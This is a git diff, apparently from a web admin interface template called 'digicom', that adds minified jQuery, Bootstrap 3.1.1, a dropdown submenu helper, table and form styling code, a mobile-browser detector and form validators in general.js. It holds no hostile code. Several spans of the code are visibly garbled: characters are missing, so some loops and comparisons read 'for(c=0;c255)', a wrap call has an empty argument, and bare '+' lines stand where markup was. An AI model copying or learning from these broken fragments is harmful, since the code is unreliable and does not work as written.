this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qa,ra={};function sa(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function ta(a){var b=l,c=ra[a];return c||(c=sa(a,b),"none"!==c&&c||(qa=(qa||n(" + + + + + + + diff --git a/Sites/Template/digicom/js/bootstrap-submenu.js b/Sites/Template/digicom/js/bootstrap-submenu.js new file mode 100644 index 0000000..7c472ea --- /dev/null +++ b/Sites/Template/digicom/js/bootstrap-submenu.js @@ -0,0 +1 @@ +$("ul.dropdown-menu [data-toggle=dropdown]").on("click",function(b){b.preventDefault();b.stopPropagation();$("ul.dropdown-menu [data-toggle=dropdown]").parent().removeClass("open");$(this).parent().addClass("open");var d=$(this).parent().find("ul");var a=d.offset();if((a.left+d.width())+30>$(window).width()){var c=-d.width()}else{var c=$(this).parent().width()}d.css({left:c})}); \ No newline at end of file diff --git a/Sites/Template/digicom/js/bootstrap.min.js b/Sites/Template/digicom/js/bootstrap.min.js new file mode 100644 index 0000000..af3273e --- /dev/null +++ b/Sites/Template/digicom/js/bootstrap.min.js @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.1.1 (http://getbootstrap.com) + * Copyright 2011-2014 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */ +if("undefined"==typeof jQuery){throw new Error("Bootstrap's JavaScript requires jQuery")}+function(d){function c(){var f=document.createElement("bootstrap"),e={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var g in e){if(void 0!==f.style[g]){return{end:e[g]}}}return !1}d.fn.emulateTransitionEnd=function(a){var h=!1,g=this;d(this).one(d.support.transition.end,function(){h=!0});var f=function(){h||d(g).trigger(d.support.transition.end)};return setTimeout(f,a),this},d(function(){d.support.transition=c()})}(jQuery),+function(f){var e='[data-dismiss="alert"]',h=function(a){f(a).on("click",e,this.close)};h.prototype.close=function(a){function l(){i.trigger("closed.bs.alert").remove()}var k=f(this),j=k.attr("data-target");j||(j=k.attr("href"),j=j&&j.replace(/.*(?=#[^\s]*$)/,""));var i=f(j);a&&a.preventDefault(),i.length||(i=k.hasClass("alert")?k:k.parent()),i.trigger(a=f.Event("close.bs.alert")),a.isDefaultPrevented()||(i.removeClass("in"),f.support.transition&&i.hasClass("fade")?i.one(f.support.transition.end,l).emulateTransitionEnd(150):l())};var g=f.fn.alert;f.fn.alert=function(a){return this.each(function(){var c=f(this),b=c.data("bs.alert");b||c.data("bs.alert",b=new h(this)),"string"==typeof a&&b[a].call(c)})},f.fn.alert.Constructor=h,f.fn.alert.noConflict=function(){return f.fn.alert=g,this},f(document).on("click.bs.alert.data-api",e,h.prototype.close)}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.isLoading=!1};d.DEFAULTS={loadingText:"loading..."},d.prototype.setState=function(a){var j="disabled",i=this.$element,h=i.is("input")?"val":"html",g=i.data();a+="Text",g.resetText||i.data("resetText",i[h]()),i[h](g[a]||this.options[a]),setTimeout(e.proxy(function(){"loadingText"==a?(this.isLoading=!0,i.addClass(j).attr(j,j)):this.isLoading&&(this.isLoading=!1,i.removeClass(j).removeAttr(j))},this),0)},d.prototype.toggle=function(){var h=!0,g=this.$element.closest('[data-toggle="buttons"]');if(g.length){var i=this.$element.find("input");"radio"==i.prop("type")&&(i.prop("checked")&&this.$element.hasClass("active")?h=!1:g.find(".active").removeClass("active")),h&&i.prop("checked",!this.$element.hasClass("active")).trigger("change")}h&&this.$element.toggleClass("active")};var f=e.fn.button;e.fn.button=function(a){return this.each(function(){var g=e(this),c=g.data("bs.button"),b="object"==typeof a&&a;c||g.data("bs.button",c=new d(this,b)),"toggle"==a?c.toggle():a&&c.setState(a)})},e.fn.button.Constructor=d,e.fn.button.noConflict=function(){return e.fn.button=f,this},e(document).on("click.bs.button.data-api","[data-toggle^=button]",function(a){var g=e(a.target);g.hasClass("btn")||(g=g.closest(".btn")),g.button("toggle"),a.preventDefault()})}(jQuery),+function(e){var d=function(a,g){this.$element=e(a),this.$indicators=this.$element.find(".carousel-indicators"),this.options=g,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",e.proxy(this.pause,this)).on("mouseleave",e.proxy(this.cycle,this))};d.DEFAULTS={interval:5000,pause:"hover",wrap:!0},d.prototype.cycle=function(a){return a||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(e.proxy(this.next,this),this.options.interval)),this},d.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},d.prototype.to=function(a){var h=this,g=this.getActiveIndex();return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){h.to(a)}):g==a?this.pause().cycle():this.slide(a>g?"next":"prev",e(this.$items[a]))},d.prototype.pause=function(a){return a||(this.paused=!0),this.$element.find(".next, .prev").length&&e.support.transition&&(this.$element.trigger(e.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},d.prototype.next=function(){return this.sliding?void 0:this.slide("next")},d.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},d.prototype.slide=function(r,q){var p=this.$element.find(".item.active"),o=q||p[r](),n=this.interval,m="next"==r?"left":"right",l="next"==r?"first":"last",k=this;if(!o.length){if(!this.options.wrap){return}o=this.$element.find(".item")[l]()}if(o.hasClass("active")){return this.sliding=!1}var a=e.Event("slide.bs.carousel",{relatedTarget:o[0],direction:m});return this.$element.trigger(a),a.isDefaultPrevented()?void 0:(this.sliding=!0,n&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var c=e(k.$indicators.children()[k.getActiveIndex()]);c&&c.addClass("active")})),e.support.transition&&this.$element.hasClass("slide")?(o.addClass(r),o[0].offsetWidth,p.addClass(m),o.addClass(m),p.one(e.support.transition.end,function(){o.removeClass([r,m].join(" ")).addClass("active"),p.removeClass(["active",m].join(" ")),k.sliding=!1,setTimeout(function(){k.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1000*p.css("transition-duration").slice(0,-1))):(p.removeClass("active"),o.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),n&&this.cycle(),this)};var f=e.fn.carousel;e.fn.carousel=function(a){return this.each(function(){var i=e(this),h=i.data("bs.carousel"),c=e.extend({},d.DEFAULTS,i.data(),"object"==typeof a&&a),b="string"==typeof a?a:c.slide;h||i.data("bs.carousel",h=new d(this,c)),"number"==typeof a?h.to(a):b?h[b]():c.interval&&h.pause().cycle()})},e.fn.carousel.Constructor=d,e.fn.carousel.noConflict=function(){return e.fn.carousel=f,this},e(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(a){var l,k=e(this),j=e(k.attr("data-target")||(l=k.attr("href"))&&l.replace(/.*(?=#[^\s]+$)/,"")),i=e.extend({},j.data(),k.data()),h=k.attr("data-slide-to");h&&(i.interval=!1),j.carousel(i),(h=k.attr("data-slide-to"))&&j.data("bs.carousel").to(h),a.preventDefault()}),e(window).on("load",function(){e('[data-ride="carousel"]').each(function(){var a=e(this);a.carousel(a.data())})})}(jQuery),+function(e){var d=function(b,a){this.$element=e(b),this.options=e.extend({},d.DEFAULTS,a),this.transitioning=null,this.options.parent&&(this.$parent=e(this.options.parent)),this.options.toggle&&this.toggle()};d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var b=this.$element.hasClass("width");return b?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var a=e.Event("show.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var l=this.$parent&&this.$parent.find("> .panel > .in");if(l&&l.length){var k=l.data("bs.collapse");if(k&&k.transitioning){return}l.collapse("hide"),k||l.data("bs.collapse",null)}var j=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[j](0),this.transitioning=1;var i=function(){this.$element.removeClass("collapsing").addClass("collapse in")[j]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!e.support.transition){return i.call(this)}var h=e.camelCase(["scroll",j].join("-"));this.$element.one(e.support.transition.end,e.proxy(i,this)).emulateTransitionEnd(350)[j](this.$element[0][h])}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var a=e.Event("hide.bs.collapse");if(this.$element.trigger(a),!a.isDefaultPrevented()){var h=this.dimension();this.$element[h](this.$element[h]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var g=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return e.support.transition?void this.$element[h](0).one(e.support.transition.end,e.proxy(g,this)).emulateTransitionEnd(350):g.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var f=e.fn.collapse;e.fn.collapse=function(a){return this.each(function(){var g=e(this),c=g.data("bs.collapse"),b=e.extend({},d.DEFAULTS,g.data(),"object"==typeof a&&a);!c&&b.toggle&&"show"==a&&(a=!a),c||g.data("bs.collapse",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.collapse.Constructor=d,e.fn.collapse.noConflict=function(){return e.fn.collapse=f,this},e(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(r){var q,p=e(this),o=p.attr("data-target")||r.preventDefault()||(q=p.attr("href"))&&q.replace(/.*(?=#[^\s]+$)/,""),n=e(o),m=n.data("bs.collapse"),l=m?"toggle":p.data(),k=p.attr("data-parent"),a=k&&e(k);m&&m.transitioning||(a&&a.find('[data-toggle=collapse][data-parent="'+k+'"]').not(p).addClass("collapsed"),p[n.hasClass("in")?"addClass":"removeClass"]("collapsed")),n.collapse(l)})}(jQuery),+function(i){function h(a){i(m).remove(),i(l).each(function(){var c=n(i(this)),b={relatedTarget:this};c.hasClass("open")&&(c.trigger(a=i.Event("hide.bs.dropdown",b)),a.isDefaultPrevented()||c.removeClass("open").trigger("hidden.bs.dropdown",b))})}function n(a){var f=a.attr("data-target");f||(f=a.attr("href"),f=f&&/#[A-Za-z]/.test(f)&&f.replace(/.*(?=#[^\s]*$)/,""));var e=f&&i(f);return e&&e.length?e:a.parent()}var m=".dropdown-backdrop",l="[data-toggle=dropdown]",k=function(a){i(a).on("click.bs.dropdown",this.toggle)};k.prototype.toggle=function(p){var o=i(this);if(!o.is(".disabled, :disabled")){var c=n(o),b=c.hasClass("open");if(h(),!b){"ontouchstart" in document.documentElement&&!c.closest(".navbar-nav").length&&i(''}),d.prototype=e.extend({},e.fn.tooltip.Constructor.prototype),d.prototype.constructor=d,d.prototype.getDefaults=function(){return d.DEFAULTS},d.prototype.setContent=function(){var h=this.tip(),g=this.getTitle(),i=this.getContent();h.find(".popover-title")[this.options.html?"html":"text"](g),h.find(".popover-content")[this.options.html?"string"==typeof i?"html":"append":"text"](i),h.removeClass("fade top bottom left right in"),h.find(".popover-title").html()||h.find(".popover-title").hide()},d.prototype.hasContent=function(){return this.getTitle()||this.getContent()},d.prototype.getContent=function(){var g=this.$element,c=this.options;return g.attr("data-content")||("function"==typeof c.content?c.content.call(g[0]):c.content)},d.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")},d.prototype.tip=function(){return this.$tip||(this.$tip=e(this.options.template)),this.$tip};var f=e.fn.popover;e.fn.popover=function(a){return this.each(function(){var g=e(this),c=g.data("bs.popover"),b="object"==typeof a&&a;(c||"destroy"!=a)&&(c||g.data("bs.popover",c=new d(this,b)),"string"==typeof a&&c[a]())})},e.fn.popover.Constructor=d,e.fn.popover.noConflict=function(){return e.fn.popover=f,this}}(jQuery),+function(e){function d(h,g){var b,a=e.proxy(this.process,this);this.$element=e(e(h).is("body")?window:h),this.$body=e("body"),this.$scrollElement=this.$element.on("scroll.bs.scroll-spy.data-api",a),this.options=e.extend({},d.DEFAULTS,g),this.selector=(this.options.target||(b=e(h).attr("href"))&&b.replace(/.*(?=#[^\s]+$)/,"")||"")+" .nav li > a",this.offsets=e([]),this.targets=e([]),this.activeTarget=null,this.refresh(),this.process()}d.DEFAULTS={offset:10},d.prototype.refresh=function(){var a=this.$element[0]==window?"offset":"position";this.offsets=e([]),this.targets=e([]);var g=this;this.$body.find(this.selector).map(function(){var h=e(this),c=h.data("target")||h.attr("href"),b=/^#./.test(c)&&e(c);return b&&b.length&&b.is(":visible")&&[[b[a]().top+(!e.isWindow(g.$scrollElement.get(0))&&g.$scrollElement.scrollTop()),c]]||null}).sort(function(h,c){return h[0]-c[0]}).each(function(){g.offsets.push(this[0]),g.targets.push(this[1])})},d.prototype.process=function(){var i,h=this.$scrollElement.scrollTop()+this.options.offset,n=this.$scrollElement[0].scrollHeight||this.$body[0].scrollHeight,m=n-this.$scrollElement.height(),l=this.offsets,k=this.targets,j=this.activeTarget;if(h>=m){return j!=(i=k.last()[0])&&this.activate(i)}if(j&&h<=l[0]){return j!=(i=k[0])&&this.activate(i)}for(i=l.length;i--;){j!=k[i]&&h>=l[i]&&(!l[i+1]||h<=l[i+1])&&this.activate(k[i])}},d.prototype.activate=function(a){this.activeTarget=a,e(this.selector).parentsUntil(this.options.target,".active").removeClass("active");var h=this.selector+'[data-target="'+a+'"],'+this.selector+'[href="'+a+'"]',g=e(h).parents("li").addClass("active");g.parent(".dropdown-menu").length&&(g=g.closest("li.dropdown").addClass("active")),g.trigger("activate.bs.scrollspy")};var f=e.fn.scrollspy;e.fn.scrollspy=function(a){return this.each(function(){var g=e(this),c=g.data("bs.scrollspy"),b="object"==typeof a&&a;c||g.data("bs.scrollspy",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.scrollspy.Constructor=d,e.fn.scrollspy.noConflict=function(){return e.fn.scrollspy=f,this},e(window).on("load",function(){e('[data-spy="scroll"]').each(function(){var a=e(this);a.scrollspy(a.data())})})}(jQuery),+function(e){var d=function(a){this.element=e(a)};d.prototype.show=function(){var a=this.element,l=a.closest("ul:not(.dropdown-menu)"),k=a.data("target");if(k||(k=a.attr("href"),k=k&&k.replace(/.*(?=#[^\s]*$)/,"")),!a.parent("li").hasClass("active")){var j=l.find(".active:last a")[0],i=e.Event("show.bs.tab",{relatedTarget:j});if(a.trigger(i),!i.isDefaultPrevented()){var h=e(k);this.activate(a.parent("li"),l),this.activate(h,h.parent(),function(){a.trigger({type:"shown.bs.tab",relatedTarget:j})})}}},d.prototype.activate=function(a,l,k){function j(){i.removeClass("active").find("> .dropdown-menu > .active").removeClass("active"),a.addClass("active"),h?(a[0].offsetWidth,a.addClass("in")):a.removeClass("fade"),a.parent(".dropdown-menu")&&a.closest("li.dropdown").addClass("active"),k&&k()}var i=l.find("> .active"),h=k&&e.support.transition&&i.hasClass("fade");h?i.one(e.support.transition.end,j).emulateTransitionEnd(150):j(),i.removeClass("in")};var f=e.fn.tab;e.fn.tab=function(a){return this.each(function(){var c=e(this),b=c.data("bs.tab");b||c.data("bs.tab",b=new d(this)),"string"==typeof a&&b[a]()})},e.fn.tab.Constructor=d,e.fn.tab.noConflict=function(){return e.fn.tab=f,this},e(document).on("click.bs.tab.data-api",'[data-toggle="tab"], [data-toggle="pill"]',function(a){a.preventDefault(),e(this).tab("show")})}(jQuery),+function(e){var d=function(b,a){this.options=e.extend({},d.DEFAULTS,a),this.$window=e(window).on("scroll.bs.affix.data-api",e.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",e.proxy(this.checkPositionWithEventLoop,this)),this.$element=e(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};d.RESET="affix affix-top affix-bottom",d.DEFAULTS={offset:0},d.prototype.getPinnedOffset=function(){if(this.pinnedOffset){return this.pinnedOffset}this.$element.removeClass(d.RESET).addClass("affix");var b=this.$window.scrollTop(),g=this.$element.offset();return this.pinnedOffset=g.top-b},d.prototype.checkPositionWithEventLoop=function(){setTimeout(e.proxy(this.checkPosition,this),1)},d.prototype.checkPosition=function(){if(this.$element.is(":visible")){var r=e(document).height(),q=this.$window.scrollTop(),p=this.$element.offset(),o=this.options.offset,n=o.top,m=o.bottom;"top"==this.affixed&&(p.top+=q),"object"!=typeof o&&(m=n=o),"function"==typeof n&&(n=o.top(this.$element)),"function"==typeof m&&(m=o.bottom(this.$element));var l=null!=this.unpin&&q+this.unpin<=p.top?!1:null!=m&&p.top+this.$element.height()>=r-m?"bottom":null!=n&&n>=q?"top":!1;if(this.affixed!==l){this.unpin&&this.$element.css("top","");var b="affix"+(l?"-"+l:""),a=e.Event(b+".bs.affix");this.$element.trigger(a),a.isDefaultPrevented()||(this.affixed=l,this.unpin="bottom"==l?this.getPinnedOffset():null,this.$element.removeClass(d.RESET).addClass(b).trigger(e.Event(b.replace("affix","affixed"))),"bottom"==l&&this.$element.offset({top:r-m-this.$element.height()}))}}};var f=e.fn.affix;e.fn.affix=function(a){return this.each(function(){var g=e(this),c=g.data("bs.affix"),b="object"==typeof a&&a;c||g.data("bs.affix",c=new d(this,b)),"string"==typeof a&&c[a]()})},e.fn.affix.Constructor=d,e.fn.affix.noConflict=function(){return e.fn.affix=f,this},e(window).on("load",function(){e('[data-spy="affix"]').each(function(){var a=e(this),g=a.data();g.offset=g.offset||{},g.offsetBottom&&(g.offset.bottom=g.offsetBottom),g.offsetTop&&(g.offset.top=g.offsetTop),a.affix(g)})})}(jQuery); \ No newline at end of file diff --git a/Sites/Template/digicom/js/common.js b/Sites/Template/digicom/js/common.js new file mode 100644 index 0000000..92eb28e --- /dev/null +++ b/Sites/Template/digicom/js/common.js @@ -0,0 +1 @@ +try{$(document).ready(function(){$("table.az_wrap").wrap("
    ");$("table").attr("border","0");$("table").addClass("table table-condensed table-hover");$("table tr:has(input), table tr:has(select)").removeClass("row-even").siblings("tr").removeClass("row-even");$("table tr:has(input), table tr:has(select)").removeClass("row-odd").siblings("tr").removeClass("row-odd");$("table.az_wrap tr:even").addClass("row-even");$("table.az_wrap tr:odd").addClass("row-odd");$("table.az_wrap").addClass("table-bordered");$("table tr td:first-child").addClass("column-first");$("table tr td:last-child").addClass("column-last");$("table tr td").attr("align","");$("form").attr("role","form");$("form").addClass("form-horizontal");$(":text,textarea,select,:password").addClass("form-control input-sm");$(":button[value='Remove'],:submit[value='Remove'],:submit[value='DELETE']").addClass("btn btn-danger btn-sm");$(":button[value='View'],:submit[value='View'],:reset,:button[value='CANCEL'],:submit[value='CANCEL']").addClass("btn btn-info btn-sm");$(":button[value='Load Signed'],:submit[value='Load Signed']").addClass("btn btn-success btn-sm");$(":button[value='View'],:submit[value='View']").addClass("btn btn-info btn-sm");$(":button,:submit").not(".btn").addClass("btn btn-primary btn-sm");parent.showBaseframe();parent.autoResize("basefrm");try{$(".az_tooltip").tooltip();$(".az_popover").popover()}catch(a){}try{if(screenDaig==1){$("a[data-target=#helpModal]").click(function(b){b.preventDefault();var c=$(this).attr("href");$("#helpModal .modal-body").load(c,function(){$("#helpModal").modal("show")})})}}catch(a){}try{if(screenSyslog==1){$("body").on("hidden.bs.modal",".modal",function(){$(this).removeData("bs.modal")});$("#summaryModal").on("loaded.bs.modal",function(b){$(this).find("table tr:even").addClass("row-even");$(this).find("table tr:odd").addClass("row-odd");$(this).find("table.az_wrap").wrap("
    ")})}}catch(a){}})}catch(e){parent.showBaseframe();parent.autoResize("basefrm")}; \ No newline at end of file diff --git a/Sites/Template/digicom/js/detectmobilebrowser.js b/Sites/Template/digicom/js/detectmobilebrowser.js new file mode 100644 index 0000000..f4c8b10 --- /dev/null +++ b/Sites/Template/digicom/js/detectmobilebrowser.js @@ -0,0 +1 @@ +(function(b){(jQuery.browser=jQuery.browser||{}).mobile=/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i.test(b)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(b.substr(0,4))})(navigator.userAgent||navigator.vendor||window.opera); \ No newline at end of file diff --git a/Sites/Template/digicom/js/general.js b/Sites/Template/digicom/js/general.js new file mode 100644 index 0000000..6cd90c7 --- /dev/null +++ b/Sites/Template/digicom/js/general.js @@ -0,0 +1 @@ +var vstrings=parent.ary_strings;function DictionaryStrings(){this.dicObj={};if(typeof(vstrings)=="undefined"){alert("Load strings failure for js!!");return}for(var a=0;vstrings[a][0]!="";a++){this.dicObj[vstrings[a][0]]=vstrings[a][1]}this.getstring=function(b){if(typeof(this.dicObj[b])!="undefined"){return this.dicObj[b]}else{alert(b+":has not be defined in language string array!");return""}}}var langtxt=new DictionaryStrings();window._=function(a){return langtxt.getstring(a)};function doValidIPAndMask(c,b,a){if((c=="")&&(b!="")){if(a==1){alert(_("DesIPInvalid")+c)}else{if(a==2){alert(_("SorIPInvalid"))}else{alert(_("IPIsEmpty"))}}return false}else{if((c!="")&&(b=="")){if(a==1){alert(_("DesNetInvalid"))}else{if(a==2){alert(_("SorNetInvalid"))}else{alert(_("SubMaskInvalid")+b)}}return false}else{return true}}}function chineseCheck(b,a){var f=document.getElementById(a);var e=f.innerText;var d=b.value;var c;if(e==undefined){e="Warning : input"}for(c=0;c255){alert(e+_("ContentCHN"));return true}}return false}function isValidAscii(c){for(var a=0;a"~"){return b}}return""}function isNumeric(c){var a=c.length;var b;if(a==0){return false}for(i=0;i"9"||b<"0"){return false}}return true}function isValidUrlName(b){var c=0;var a=new Array();a[c++]="www";a[c++]="com";a[c++]="org";a[c++]="net";a[c++]="edu";a[c++]="www.";a[c++]=".com";a[c++]=".org";a[c++]=".net";a[c++]=".edu";if(isValidAscii(b)!=""){return false}for(c=0;ca?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++){if(null!=(e=arguments[h])){for(d in e){a=g[d],c=e[d],g!==c&&(j&&c&&(n.isPlainObject(c)||(b=n.isArray(c)))?(b?(b=!1,f=a&&n.isArray(a)?a:[]):f=a&&n.isPlainObject(a)?a:{},g[d]=n.extend(j,f,c)):void 0!==c&&(g[d]=c))}}}return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray||function(a){return"array"===n.type(a)},isWindow:function(a){return null!=a&&a==a.window},isNumeric:function(a){return a-parseFloat(a)>=0},isEmptyObject:function(a){var b;for(b in a){return !1}return !0},isPlainObject:function(a){var b;if(!a||"object"!==n.type(a)||a.nodeType||n.isWindow(a)){return !1}try{if(a.constructor&&!j.call(a,"constructor")&&!j.call(a.constructor.prototype,"isPrototypeOf")){return !1}}catch(c){return !1}if(l.ownLast){for(b in a){return j.call(a,b)}}for(b in a){}return void 0===b||j.call(a,b)},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(b){b&&n.trim(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++){if(d=b.apply(a[e],c),d===!1){break}}}else{for(e in a){if(d=b.apply(a[e],c),d===!1){break}}}}else{if(g){for(;f>e;e++){if(d=b.call(a[e],e,a[e]),d===!1){break}}}else{for(e in a){if(d=b.call(a[e],e,a[e]),d===!1){break}}}}return a},trim:k&&!k.call("\ufeff\xa0")?function(a){return 